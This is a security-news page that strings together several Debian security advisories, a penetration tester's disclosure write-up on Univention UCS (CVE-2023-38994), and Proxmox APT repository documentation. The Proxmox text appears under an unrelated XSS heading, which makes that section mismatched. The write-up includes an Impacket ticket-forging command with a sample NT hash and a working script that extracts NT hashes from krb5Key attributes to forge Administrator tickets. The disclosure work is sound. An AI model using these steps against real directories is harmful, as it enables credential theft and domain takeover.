Debian Linux Security Advisory 5541-1 - Multiple vulnerabilities have been discovered in Request Tracker, an extensible trouble-ticket tracking system.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5541-1                   security@debian.org  
https://www.debian.org/security/                     Salvatore Bonaccorso  
October 30, 2023                      https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : request-tracker5  
CVE ID         : CVE-2023-41259 CVE-2023-41260 CVE-2023-45024  
Debian Bug     : 1054517

Multiple vulnerabilities have been discovered in Request Tracker, an  
extensible trouble-ticket tracking system.

CVE-2023-41259

    Tom Wolters reported that Request Tracker is vulnerable to accepting  
    unvalidated RT email headers in incoming email and the mail-gateway  
    REST interface.

CVE-2023-41260

    Tom Wolters reported that Request Tracker is vulnerable to  
    information leakage via response messages returned from requests  
    sent via the mail-gateway REST interface.

CVE-2023-45024

    It was reported that Request Tracker is vulnerable to information  
    leakage via transaction searches made by authenticated users in the  
    transaction query builder.

For the stable distribution (bookworm), these problems have been fixed in  
version 5.0.3+dfsg-3~deb12u2.

We recommend that you upgrade your request-tracker5 packages.

For the detailed security status of request-tracker5 please refer to its  
security tracker page at:  
https://security-tracker.debian.org/tracker/request-tracker5

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmVAExFfFIAAAAAALgAo  
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2  
NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xND  
z0Rb4w/+L1YcgCKoOMVBlwGlYnlEYZivThfDm1S/hwRwThqZtuDn0PPHw/Skl9Tp  
z2D7KjB0OEV3bixDCrYowOe4sUpxt8nAmHu0+LM9yik5ZbUh/GkX1gFQhleTA6l1  
Oa6PHuukFr31qwIvFse2D1MHyeKTgmWvDN8/l+mL1QB3oQ52Yh82fIBgky1x4tJl  
NZZKE6GVIyptnUUMYGa3QHK2oGW6RV41htB4aNl3boPrmpIXfw5dS86ZoMi1Tx2Q  
ww8tvsexwpWhXkGk8DTxgd+gTd0UKQixn+bRm50nuiFx5HZxTieg9ma6wbX4psPA  
43r9H4lOxC5K3s/WIvfwexm0057O87BZSa1HvQE/6iGZ/ehQlP1WPxRADxAqdSGD  
5G7JonHfSpVWQMa7u6qOZj6A/rWojWq3LN9I7t/SBdxIAYuV6mkLnWK+eYQz3oxQ  
cR2ob/ymdNrT2Nfafs2WKFpZNDx8pLFl9NVjNEoHrklTfPhZFlDXcPtm0+pk7M73  
lfYdMP+3xHVELuL0wckMuoSoddHHv0LmwgXXY+6YVISrQ970YEnxV23Y4dBvI7dY  
31TnGKjZ6MwWnqO3kwOlTLj/Zb+fnIfsQwRway9Q0vNa6c2NR0ONASaMtVfS3MsJ  
jeNKFbuRweOsj9JO3eceDevpS68kBEi1ev071LNhh/oP7KTwRDw=DPKi  
-----END PGP SIGNATURE-----

Debian Security Advisory 5541-1

Debian Linux Security Advisory 5540-1 - Two remotely exploitable security vulnerabilities were discovered in Jetty 9, a Java based web server and servlet engine. The HTTP/2 protocol implementation did not sufficiently verify if HPACK header values exceed their size limit. Furthermore the HTTP/2 protocol allowed a denial of service (server resource consumption) because request cancellation can reset many streams quickly. This problem is also known as Rapid Reset Attack.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5540-1                   security@debian.org  
https://www.debian.org/security/                          Markus Koschany  
October 30, 2023                      https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : jetty9  
CVE ID         : CVE-2023-36478 CVE-2023-44487

Two remotely exploitable security vulnerabilities were discovered in Jetty 9, a  
Java based web server and servlet engine. The HTTP/2 protocol implementation  
did not sufficiently verify if HPACK header values exceed their size limit.  
Furthermore the HTTP/2 protocol allowed a denial of service (server resource  
consumption) because request cancellation can reset many streams quickly. This  
problem is also known as Rapid Reset Attack.

For the oldstable distribution (bullseye), these problems have been fixed  
in version 9.4.50-4+deb11u1.

For the stable distribution (bookworm), these problems have been fixed in  
version 9.4.50-4+deb12u2.

We recommend that you upgrade your jetty9 packages.

For the detailed security status of jetty9 please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/jetty9

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQKTBAEBCgB9FiEErPPQiO8y7e9qGoNf2a0UuVE7UeQFAmVABttfFIAAAAAALgAo  
aXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldEFD  
RjNEMDg4RUYzMkVERUY2QTFBODM1RkQ5QUQxNEI5NTEzQjUxRTQACgkQ2a0UuVE7  
UeTJ2g/9E8TKXU1Mko9WhumkvRQNsYxAM43L/gmYMRm4JEqhqpjHHZECJIOAVyxs  
uN0uE13T+JckplIAhfdsZgbmDDNjASyFWv9OfOdf2h4Y9ZhoXP22MXI2MjKb9MSH  
KfmPtX4S95UyF/Ty0kK17W63p4EvtNlcgRokx5yFpUF/rN72GXVx25W6WQ1pSHrJ  
ESJMqOr8d3Wn5/4yaPEunQrvPa4WkQSTv8nHAIxIenP3wiNuK2tZWN6GCAdbirQp  
MWt282W/ueGcRDq8UJB2tWkxqx8CNnqeIeh0LpaSZRbaf62DChtyj+5OnYyhwBTk  
1mhwuveCFtNzRQyHRBrOrVWRAG43ktSyEYG90Il9iDchQROi0sJkQFVB0TXG6FnC  
hIFBcPw9VW5+7I+4gxexhpguq/SXZV9V9QH+jSeEBOgdKY/qX0farjElmhgFLRuS  
/weJAqnc9C6w4BB7gnE9ow4nbGqKqMEj1yoO8itMhCWBCaEIia0INpao7pfpf/9r  
KekLFoi6Gux0gqVMhhBw3latxW9zth93tNEeuuGb+kP/TDreBVkZnqrYVbtj49Wv  
IMX77Q8OB/TDQ8K5cEq05wcq59TIkAaVKGrP3sXsjbt4umbkjhbp8Oxv+chMOgPQ  
E8ThC0Q+lbZ4nth0vw2R93ObMfzlxZN2YJUqKf3aw/yAKd8YIys=CO/+  
-----END PGP SIGNATURE-----

Debian Security Advisory 5540-1

Debian Linux Security Advisory 5539-1 - It was reported that incorrect bound checks in the dsaVerify function in node-browserify-sign, a Node.js library which adds crypto signing for browsers, allows an attacker to perform signature forgery attacks by constructing signatures that can be successfully verified by any public key.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5539-1                   security@debian.orghttps://www.debian.org/security/                     Salvatore BonaccorsoOctober 30, 2023                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : node-browserify-signCVE ID         : CVE-2023-46234Debian Bug     : 1054667It was reported that incorrect bound checks in the dsaVerify functionin node-browserify-sign, a Node.js library which adds crypto signingfor browsers, allows an attacker to perform signature forgery attacksby constructing signatures that can be successfully verified by anypublic key.For the oldstable distribution (bullseye), this problem has been fixedin version 4.2.1-1+deb11u1.For the stable distribution (bookworm), this problem has been fixed inversion 4.2.1-3+deb12u1.We recommend that you upgrade your node-browserify-sign packages.For the detailed security status of node-browserify-sign please refer toits security tracker page at:https://security-tracker.debian.org/tracker/node-browserify-signFurther information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQKTBAEBCgB9FiEERkRAmAjBceBVMd3uBUy48xNDz0QFAmU/2K5fFIAAAAAALgAoaXNzdWVyLWZwckBub3RhdGlvbnMub3BlbnBncC5maWZ0aGhvcnNlbWFuLm5ldDQ2NDQ0MDk4MDhDMTcxRTA1NTMxRERFRTA1NENCOEYzMTM0M0NGNDQACgkQBUy48xNDz0SYeRAAmffcSYdBfiH/6U30rpfiLylS8zL/ca2sILLKmfYuwG/DH6n5BJ5n+oosRrXpXhOXjhLmTe1f9Sst3hXCv0IIsJoITnrlmfSjp0CmTk3jx/VhQljSeFUCAFUkpyAL27QB76SSwqiJNNqvbKEwwatdtNyNFs/zE7Ir7lFT7hKLwryv70Mwf1xWdh59ZFMaCGPntGWpgwSHy88kD/z6Oo3SV/Q+U73Y53Rv62ZZMNrX1ploVsI1zPLFrOQSNkUwT+nGCfe13S5GUZ/w5U/joEjXWlDbPH8VSnL7pFBudVP6h6NcgyHds7jYsHbZAuViuE0ctEu2li/j51fD6MOZu2HRtaxi6EuZpaOTUDbq1qC5GvGa0+4FuNBVO3k33N+4fVARStFoWFnoqX8+0kWJvkhvO8O8AVoIMRzWEbLjeBv5nMHxggRfw2cisJeNTGIDvJfDiC7w18TDEIwDwEo1nScCWndPK5LPkI6+j9VQIVKdf9UGJS+pnWgywT9G6EiSKS+pOQSujNV5XuWDeicV2e3CvgrVQ+kaOKvFBgpGfZwOFV2+324kCnAk1hMupAnn7/7e/NYdDhpzmAv6fD5GfiW8WhLgRkNpKAQwoPV1Ywwr9S9KBxsWK2Lf1W4t6RyyKKX8M+gz7rLmeGfjJ4fbGdn/xSH7IWXjBCOiN1W+gwNmsCg=htaY-----END PGP SIGNATURE-----

Debian Security Advisory 5539-1

An issue in Univention UCS v.5.0 allows a local attacker to execute arbitrary code and gain privileges via the check_univention_joinstatus function.

**Table of Contents**

1.  Introduction
2.  The Basics
3.  Exploitation via LDAP
4.  Exploitation via SSH/Kerberos
5.  Exploitation via Hash Cracking
6.  The Fix
7.  Lessons Learned
8.  Disclosure Timeline
9.  Update history

**Introduction**

Recently, DriveByte was assigned to perform a penetration test for a customer. The goal was to find as many vulnerabilities as possible, as well as to determine, if an attacker would be able to compromise the customer’s infrastructure. The unusual part about it? The customer’s IT had no Microsoft Active Directory nor Entra ID but something similar. It was based on a product called Univention UCS, which is according to their website, a solution for "easy and centralized administration of domains". This was especially interesting for us, as we did not know this solution before and are of course always genuinely interested in digging into new technologies. The following blogpost shows a very classic and simple flaw, that had a huge impact on the customer's environment.

Since the initial publication of this blogpost, some changes have been made. This includes especially some additional information that we received from univention. For better tracking we added a section "Update History". Special thanks again to Univention for the awesome information and collaboration!

**TLDR:**

By spying on the process creation of a UCS connected server with extensive permissions, it was possible to gather a large amount of LDAP data. This data includes different credentials and other authentication information. The vendor responded extremely professional and fixed the issues very quickly. He did not only fix the script where we found the issue, but also checked their code base for similar problems and fixed them as well.

**Do the basics. They might reward you with some quick wins!**

The vulnerability analysis was performed with access to the customer’s network and a user with very limited permissions (domain joined, but nothing else). While enumerating the network, we found that it is possible to access several servers with our basic user via SSH (remember, the network is mainly based on Linux machines, with only a very small number of Windows and Mac machines). This was possible due to faulty configured permissions and is not a default setting or problem of Univention UCS, but a configuration error. We know this kind of misconfigurations from Windows Active Directory environments, where we often see permissions for "authenticated users" for SMB, RDP and so on.

Of course, this was a very easy entry point and we started to dig into the machines to see if there is anything juicy to be found. Before trying to escalate privileges, we first checked for secrets and so on. Also, for chances of a quick win, we usually start monitoring process creations, to check for privilege escalation opportunities and other valuable information (hell yeah, full HackTheBox/OSCP style!!!). By searching through the system, we discovered the files /etc/ldap.secret and /etc/machine.secret. This sounded like relevant information. Sadly, we couldn’t read the files, as they were set to read/write-only by root. Also, we didn't know what they are used for, but suspected them to be part of the Univention software. A quick search through the extensive Univention documentation proved this assumption right. After publishing this blogpost, Univention contacted us again and hinted us to this discussion about a solution for the machine.secret and ldap.secretfiles. As they identified this files as a possible attack surface, they are planning to find another solution for this. So a solution is in the making.

We played around a little with some of the Univention scripts etc., but at first did not find anything that seemed promising. So, the next step was to check for privilege escalation. Next to other approaches, we went back to the process creation monitoring, and there it was:

The script check_univention_joinstatus requested the LDAP database as the system account, presenting the password in cleartext. We suspected that this might be the password from the /etc/machine.secret file which was later confirmed. So, the logical next step for us was to recreate this exact command from our attacker machine. We were quite surprised to see, that this machine had permissions to basically perform DCSync. It's not Windows AD of course. The machine had the permission to retrieve ALL directory objects _with all their attributes_. This includes users, with their krb5key, sambaNTPassword (NTHash), SHA512 or bcrypt hashes (SHA512 is the default) as well as their password history. The following screenshot shows the output we recreated in a lab environment:

However, this is only possible if the domain joined system has the permissions that match DCSync. In our test environment we joined an arbitrary machine to the domain and checked what information we get back from the "Domain Controller". So, in comparison to the information above, you can see in the screenshot below what information a usual domain joined system gets:

**Exploitation attempt 1: LDAP**

To exploit this issue, we can rely on n00py's awesome "Alternative ways to Pass the Hash (PtH)" blogpost. However, a bit more research on that topic showed, that it is not as simple as we first thought. Our first guess was, that we can just use the LDAP3 Python module to connect to LDAP with the NTLM hash. Unfortunately, that seems to be impossible with Univention, as it is not supporting NTLM authentication for LDAP:

While our first impression was, that we are doing something wrong, this GitHub entry stated that the "authMethodNotSupported" message is from the server. It seems that Univention does not have NTLM authentication activated on the server by default (atm, we don't know if it is supported at all).

For comparison, the SIMPLE authentication via LDAP is working fine:

But the 'server.info' output is puzzling us a bit because it says that NTLM is a valid SASL mechanism, so maybe there is a workaround by using NTLM for SASL. Before going too deep into that path and losing a lot of time, we decided to try something else. Maybe this motivates somebody who has more knowledge in this area to dig into it. Or maybe we will come back to this later...

Here we also got some additional information from Univention. NTLM is indeed not supported. The fact that it is still shown as supported sasl mechanism is due to the OpenLDAP defaulf configuration. Univention is tracking this issue here.

**Exploitation attempt 2: SSH via Kerberos**

As an alternative way, \\@n00py suggests in his blogpost to use the NThash to sign a Kerberos ticket and then connect via SSH. Well, that seems easy. So we took the administrator's hash and threw it in Impacket's ticketer.py. All information for this including the domain-sid etc. was included in the full domain dump.

    ticketer.py -nthash 3B0E04870F352EDC0EF120F16431FA42 -domain-sid S-1-5-21-2228799870-4051273110-1256914315 -spn host/ucs-7427.drivebytetest.intranet -domain drivebytetest.intranet Administrator

Sadly, the authentication failed with the following message:

As this is no traditional AD, we were thinking that they could use another approach to sign their Kerberos tickets. What was bugging us from the start was the krb5Key fields we've seen in the second screenshot. And again, the Univention documentation comes to our rescue. It states that "The krb5Key attribute stores the Kerberos password". Nice. But how?

After googling for a while, we came across this post in the Univention help forum. It contains some very interesting information. First, the krb5Key seems to consist of a keytype, a keyblock, in one case even an NThash and a salt string. Well, now of course we wanted to get our fingers on this s4search-decode script that was mentioned in this help request. We did not find it. It wasn’t on the domain controller and we didn't find it in the Univention Git repo (but maybe we just went over it???, there are tons of mentions, but we didn't find the actual script <- The awesome people from univention pointed us to this. So yeah. We were indeed just not finding it somehow). At that point a friend with whom we discussed the topic pointed us to the following page https://docs.software-univention.de/ucs-python-api/\_modules/univention/s4connector/s4/password.html. This file can also be found in the Univention Git. He pointed this out to us because of the following function:

    ...
    def extract_NThash_from_krb5key(ucs_krb5key):
    
        NThash = None
    
        for k in ucs_krb5key:
            (keyblock, salt, kvno) = heimdal.asn1_decode_key(k)
    
            enctype = keyblock.keytype()
            enctype_id = enctype.toint()
            if enctype_id == 23:
                krb5_arcfour_hmac_md5 = keyblock.keyvalue()
                NThash = binascii.b2a_hex(krb5_arcfour_hmac_md5)
                break
    
        return NThash
    
    ...

Nice. This seemed promising with only one downside; The dependency on heimdal which looked like a Univention-specific library version. We quickly recognized that this lib is installed on the Univention DC. But we didn't want to rely on that for executing the script. After a bit of searching we found a download portal which offered a Debian package and the source code etc. The package requires python below 3.8 and some other dependencies, but nothing too special. So we spun up a docker container to go on with the testing (The Dockerfile and final script can be found on our GitHub). We extracted the function, added only the important imports, and fired it up in iPython... and failed:

It seems that the krb5Key usually is not base64 encoded when passed to the function. But after modifying this, we were still running into an error. We started to break down the steps and came out with the following working script, which does basically the same steps as the actual function.

    #!/usr/bin/python3
    # -*- coding: utf-8 -*-
    
    import binascii
    import heimdal
    import base64
    import argparse
    
    krb5_keytype__des_cbc_crc = 1
    krb5_keytype__des_cbc_md4 = 2
    krb5_keytype__des_cbc_md5 = 3
    krb5_keytype__des3_cbc_sha1 = 16
    krb5_keytype__aes128_cts_hmac_sha1_96 = 17
    krb5_keytype__aes256_cts_hmac_sha1_96 = 18
    krb5_keytype__arcfour_hmac_md5 = 23
    
    def extract_NThash_from_krb5key(ucs_krb5key):
    
        NThash = None
    
        keyblock,salt,kvno = heimdal.asn1_decode_key(base64.b64decode(ucs_krb5key))
    
        if keyblock.keytype().toint() == krb5_keytype__arcfour_hmac_md5:
            NThash = binascii.hexlify(keyblock.keyvalue()).decode('utf-8')
        else:
            print(f'Keytype is: ', keyblock.keytype().toint())
    
        return NThash
    
    
    def main():
        parser = argparse.ArgumentParser(
                prog='ProgramName',
                        description='Simple tool to extract ntlm hash out of the arcfour_hmac_md5 krb5key used by univention ucs')
        parser.add_argument('-d', help="put your base64 encoded krb5key value here", required=True)
        args = parser.parse_args()
        nt_hash = extract_NThash_from_krb5key(args.d)
        print("NThash: ",nt_hash)
    
    
    if __name__ == '__main__':
        main()

And this worked like a charm. It allows us to extract the NThash out of the krb5Key. Now we could take the krb5Key of the krbtgt account for example to forge a ticket as Administrator, which is the default "Domain Admin" in Univention UCS.

And that's it. We can now be everybody we want to be :blush:.

Maybe we can also use the other keyblock values to sign the TGTs somehow. But we didn't look into that so far.

**Exploitation attempt 3: Hash Cracking**

As we are in possession of the NThashes, we are also able to try password cracking quite efficiently. We confirmed that the sambaNTPassword represents the actual password. Using hashcat, some proper wordlists as well as some good rules, can open some more pathways.

Using those methods we were able to go from "any user in the directory" to "Administrator", the "Domain Admin" equivalent because of some very basic misconfigurations, a trivial but impactful bug and a recoverable password.

**The Fix**

The mitigation time and responses from Univention have been extraordinary. It was a pleasure to work with them, as the communication was fast, professional as well as solution-oriented! Special thanks for this awesome experience and awareness for security! Univention rated the bug with 7.9 (CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:N)

CVE-2023-38994 was reserved by MITRE for this issue, but not released yet.

Fixed version: Univention UCS 5.0-4 Fix number: 1.0.2-4

**Lessons Learned**

*   Do not grant "everyone" or "authenticated users" permissions to any machine if possible (and we guess that’s possible in almost every scenario)
*   Upgrade your software
*   Set strong and unique passwords
*   For developers and admins: Avoid sensitive information in process creations (Univention added this to their developers security guidelines. Great Job!)

**Disclosure Timeline**

2023/07/17 - Bug Reported

2023/07/17 - Bug confirmed by Univention and opened in their Bugtracker

2023/07/17 - GitHub push to fix the Bug

2023/07/19 - Fix release in 1.0.2-4 Release Note

2023/07/19 - Fix release of similar issues in another script Release Note

**Update History**

*   2023/10/19 - Added advisory for developers and admins in Lesson Learned
*   2023/10/30 - Mentioning Updates in the introduction
*   2023/10/30 - Added information about the misconfiguration of the ssh permissions
*   2023/10/30 - Added the outlook on a solution for the machine.secret and ldap.secret files
*   2023/10/30 - Changed wording from "synced" to "requested"
*   2023/10/30 - Added additional information and bugtracker about NTLM
*   2023/10/30 - Added the link to the s4search-decode script
*   2023/10/30 - Updated "Lessons Learned" with the fact that univention updated their developers security guidelines
*   2023/10/30 - Added link to the bugtracker in the timeline

CVE-2023-38994: Simple yet effective. The story of some simple bugs that led to the complete compromise of a network

Debian Linux Security Advisory 5538-1 - Multiple security issues were discovered in Thunderbird, which could result in denial of service or the execution of arbitrary code.

-----BEGIN PGP SIGNED MESSAGE-----  
Hash: SHA512

- -------------------------------------------------------------------------  
Debian Security Advisory DSA-5538-1                   security@debian.org  
https://www.debian.org/security/                       Moritz Muehlenhoff  
October 27, 2023                      https://www.debian.org/security/faq  
- -------------------------------------------------------------------------

Package        : thunderbird  
CVE ID         : CVE-2023-5721 CVE-2023-5724 CVE-2023-5725 CVE-2023-5728   
                 CVE-2023-5730 CVE-2023-5732

Multiple security issues were discovered in Thunderbird, which could  
result in denial of service or the execution of arbitrary code.

For the oldstable distribution (bullseye), these problems have been fixed  
in version 1:115.4.1-1~deb11u1.

For the stable distribution (bookworm), these problems have been fixed in  
version 1:115.4.1-1~deb12u1.

We recommend that you upgrade your thunderbird packages.

For the detailed security status of thunderbird please refer to  
its security tracker page at:  
https://security-tracker.debian.org/tracker/thunderbird

Further information about Debian Security Advisories, how to apply  
these updates to your system and frequently asked questions can be  
found at: https://www.debian.org/security/

Mailing list: debian-security-announce@lists.debian.org  
-----BEGIN PGP SIGNATURE-----

iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmU8/MIACgkQEMKTtsN8  
TjYydw/5AYVlXQCfZjiLfnVEk+KVVib53rJGc+eR3QtpcpzO6l73fPgRKWbBylM1  
GEwu8ua6NxQ8rk2SEfA9QFwRj3EE3OBVIDOMNA7RO+UNWYqHtYYHZiif73q/7Y12  
k3gvdKpAZny67bFYSSTxu1Y0yTGmZu0HdIbIc46pfu6kdqJFvqabskEDRZ+IKKOD  
dLdbJ48xY5GjmLaqJ4YX0Mm8x9CO9ILrCjkqjnwz+D/5Tpafue3+tQscJ276eMbw  
qCGlEctLX5HywcpL3W5mSWnLwZZpoOjYdTKyJDW+hTMNTFUqsuoZDylbqiUdxBjU  
ZRenTXMjKOCFATjD3vkJHF6eGZzYIhE92fTmlBeF+j40xbGXW7nq+F4XLl7gtziC  
YzbGxXgG4tvChrt56iMaixt80axt5wVosc2mx+7m+u6aD+ulNKHh0bKP6dchEATY  
stomlKurwR45IyrBdq7EhppUkObV3tpUm7b6h/3LK2wbI2OUwl2lz8wRNXNct04Z  
75LfgyYQE/Mkcffay3IL1Ej7qBq7u8URxmvYXJ9OO148ihJTCdv7qYI9w/ltSB9s  
gW76DXOoW+9t6RSCP7ftCsx2QEW5sdq0V4tTptIlEuAFJ29ORoQ1xDyc4bQlvqWn  
lLO1vbZmk2iZfEzg6JYX9ceG6AL4HY8sHDe1TlcUEOyVsB89obg=  
=IfPw  
-----END PGP SIGNATURE-----

Debian Security Advisory 5538-1

Debian Linux Security Advisory 5537-1 - Several vulnerabilities have been discovered in the OpenJDK Java runtime, which may result in bypass of sandbox restrictions or denial of service.

    -----BEGIN PGP SIGNED MESSAGE-----Hash: SHA512- -------------------------------------------------------------------------Debian Security Advisory DSA-5537-1                   security@debian.orghttps://www.debian.org/security/                       Moritz MuehlenhoffOctober 27, 2023                      https://www.debian.org/security/faq- -------------------------------------------------------------------------Package        : openjdk-11CVE ID         : CVE-2023-22067 CVE-2023-22081Several vulnerabilities have been discovered in the OpenJDK Java runtime,which may result in bypass of sandbox restrictions or denial of service.For the oldstable distribution (bullseye), these problems have been fixedin version 11.0.21+9-1~deb11u1.We recommend that you upgrade your openjdk-11 packages.For the detailed security status of openjdk-11 please refer toits security tracker page at:https://security-tracker.debian.org/tracker/openjdk-11Further information about Debian Security Advisories, how to applythese updates to your system and frequently asked questions can befound at: https://www.debian.org/security/Mailing list: debian-security-announce@lists.debian.org-----BEGIN PGP SIGNATURE-----iQIzBAEBCgAdFiEEtuYvPRKsOElcDakFEMKTtsN8TjYFAmU74DgACgkQEMKTtsN8Tjbrug/+K+/T0ydiyOhIQ/4s4rrQr2YBx0miVGaBTFjuAEw/YduTbIT4eLsJsWOZeQ2dg2ZkIFtW1Ngs7QUaA7WgAjgAu7tnW90rZYFiQalcxPlwAmnSWZSYM9SSaW9p/AHARm8uSQ0YKjlnskCEDVXODVggzOQLpvVF2oA8MA+1Rtb6hnl1W4u+IDXvhXCZzniKheuAe/G9iz0nY8wHgEVNfIc1KO+MKFyD8Z655kH8qgGuMcyORGYDFDX4l6luorc/dA15dr90pokg0TD/2L2dIbkEsj0zOePzU6yZsYTBgQ878Y8gdJnCirpSS/ZaCKWAOSX+fARW+wVUsscvpUh/TcDyHEKh8EjA05ahaiqp6/gvScz8H9rbebYw32glFEu89JMgfDLAI137YLqkfOWhLIKvCzZ+u+drpg7Hf0yjDU0dPWWzc0KHd/asClDxyec5N5zlDCI7eGvY2zxH0TsGqiyed2GVTPi1TR3FWRRvlCC1uKiZF9vdmQZTubDzqpjR7gGbVIyGfn6lYDOxqhOTq7ftoJ3+BjCBxuaxZmHBtw2QzQCb8pJalQj1D2IgqsMBAt92pdD+3DyXjEYnFHNRr330uDiVg2ZeadatRkm+VwiI+pJGwkl+1Xrom1Mg2SQkeNtiY5IO3lGAjIhU8b0TkbrgdMoM3j0zI4dQkX8+BRV5YKM==UEly-----END PGP SIGNATURE-----

Debian Security Advisory 5537-1

Proxmox proxmox-widget-toolkit before 4.0.9, as used in multiple Proxmox products, allows XSS via the edit notes feature.

From Proxmox VE

Jump to navigation Jump to search

Proxmox VE uses APT as its package management tool like any other Debian-based system.

**Repositories in Proxmox VE**

Repositories are a collection of software packages, they can be used to install new software, but are also important to get new updates.

You need valid Debian and Proxmox repositories to get the latest security updates, bug fixes and new features.

APT Repositories are defined in the file /etc/apt/sources.list and in .list files placed in /etc/apt/sources.list.d/.

**Repository Management**

Since Proxmox VE 7, you can check the repository state in the web interface. The node summary panel shows a high level status overview, while the separate _Repository_ panel shows in-depth status and list of all configured repositories.

Basic repository management, for example, activating or deactivating a repository, is also supported.

**Sources.list**

In a sources.list file, each line defines a package repository. The preferred source must come first. Empty lines are ignored. A # character anywhere on a line marks the remainder of that line as a comment. The available packages from a repository are acquired by running apt-get update. Updates can be installed directly using apt-get, or via the GUI (Node → Updates).

File

/etc/apt/sources.list

deb http://deb.debian.org/debian bookworm main contrib
deb http://deb.debian.org/debian bookworm-updates main contrib

# security updates
deb http://security.debian.org/debian-security bookworm-security main contrib

Proxmox VE provides three different package repositories.

**Proxmox VE Enterprise Repository**

This is the default, stable, and recommended repository, available for all Proxmox VE subscription users. It contains the most stable packages and is suitable for production use. The pve-enterprise repository is enabled by default:

File

/etc/apt/sources.list.d/pve-enterprise.list

deb https://enterprise.proxmox.com/debian/pve bookworm pve-enterprise

The root@pam user is notified via email about available updates. Click the _Changelog_ button in the GUI to see more details about the selected update.

You need a valid subscription key to access the pve-enterprise repository. Different support levels are available. Further details can be found at https://www.proxmox.com/en/proxmox-ve/pricing.

You can disable this repository by commenting out the above line using a # (at the start of the line). This prevents error messages if your host does not have a subscription key. Please configure the pve-no-subscription repository in that case.

**Proxmox VE No-Subscription Repository**

This is the recommended repository for testing and non-production use. Its packages are not as heavily tested and validated. You don’t need a subscription key to access the pve-no-subscription repository.

We recommend to configure this repository in /etc/apt/sources.list.

File

/etc/apt/sources.list

deb http://ftp.debian.org/debian bookworm main contrib
deb http://ftp.debian.org/debian bookworm-updates main contrib

# Proxmox VE pve-no-subscription repository provided by proxmox.com,
# NOT recommended for production use
deb http://download.proxmox.com/debian/pve bookworm pve-no-subscription

# security updates
deb http://security.debian.org/debian-security bookworm-security main contrib

**Proxmox VE Test Repository**

This repository contains the latest packages and is primarily used by developers to test new features. To configure it, add the following line to /etc/apt/sources.list:

sources.list entry for

pvetest

deb http://download.proxmox.com/debian/pve bookworm pvetest

The pvetest repository should (as the name implies) only be used for testing new features or bug fixes.

**Ceph Quincy Enterprise Repository**

This repository holds the enterprise Proxmox VE Ceph Quincy packages. They are suitable for production. Use this repository if you run the Ceph client or a full Ceph cluster on Proxmox VE.

File

/etc/apt/sources.list.d/ceph.list

deb https://enterprise.proxmox.com/debian/ceph-quincy bookworm enterprise

**Ceph Quincy No-Subscription Repository**

This Ceph repository contains the Ceph Quincy packages before they are moved to the enterprise repository and after they where on the test repository.

It’s recommended to use the enterprise repository for production machines.

File

/etc/apt/sources.list.d/ceph.list

deb http://download.proxmox.com/debian/ceph-quincy bookworm no-subscription

**Ceph Quincy Test Repository**

This Ceph repository contains the Ceph Quincy packages before they are moved to the main repository. It is used to test new Ceph releases on Proxmox VE.

File

/etc/apt/sources.list.d/ceph.list

deb http://download.proxmox.com/debian/ceph-quincy bookworm test

**Older Ceph Repositories**

Proxmox VE 8 doesn’t support Ceph Pacific, Ceph Octopus, or even older releases for hyper-converged setups. For those releases, you need to first upgrade Ceph to a newer release before upgrading to Proxmox VE 8.

**SecureApt**

The _Release_ files in the repositories are signed with GnuPG. APT is using these signatures to verify that all packages are from a trusted source.

If you install Proxmox VE from an official ISO image, the key for verification is already installed.

If you install Proxmox VE on top of Debian, download and install the key with the following commands:

 # wget https://enterprise.proxmox.com/debian/proxmox-release-bookworm.gpg -O /etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg

Verify the checksum afterwards with the sha512sum CLI tool:

\# sha512sum /etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg
7da6fe34168adc6e479327ba517796d4702fa2f8b4f0a9833f5ea6e6b48f6507a6da403a274fe201595edc86a84463d50383d07f64bdde2e3658108db7d6dc87 /etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg

or the md5sum CLI tool:

\# md5sum /etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg
41558dc019ef90bd0f6067644a51cf5b /etc/apt/trusted.gpg.d/proxmox-release-bookworm.gpg

**Proxmox VE 7.x Repositories**

Proxmox VE 7.x is based on Debian 11.x (“bullseye”). Please note that this release is out of date (see the FAQ support table). Existing installations should be updated. Nevertheless access to these repositories is still provided.

 

Repository

sources.list entry

Proxmox VE 7.x Enterprise

deb https://enterprise.proxmox.com/debian/pve bullseye pve-enterprise

Proxmox VE 7.x No-Subscription

deb http://download.proxmox.com/debian/pve bullseye pve-no-subscription

Proxmox VE 7.x Test

deb http://download.proxmox.com/debian/pve bullseye pvetest

Release key hash sums:

sha512sum /etc/apt/trusted.gpg.d/proxmox-release-bullseye.gpg
7fb03ec8a1675723d2853b84aa4fdb49a46a3bb72b9951361488bfd19b29aab0a789a4f8c7406e71a69aabbc727c936d3549731c4659ffa1a08f44db8fdcebfa

md5sum /etc/apt/trusted.gpg.d/proxmox-release-bullseye.gpg
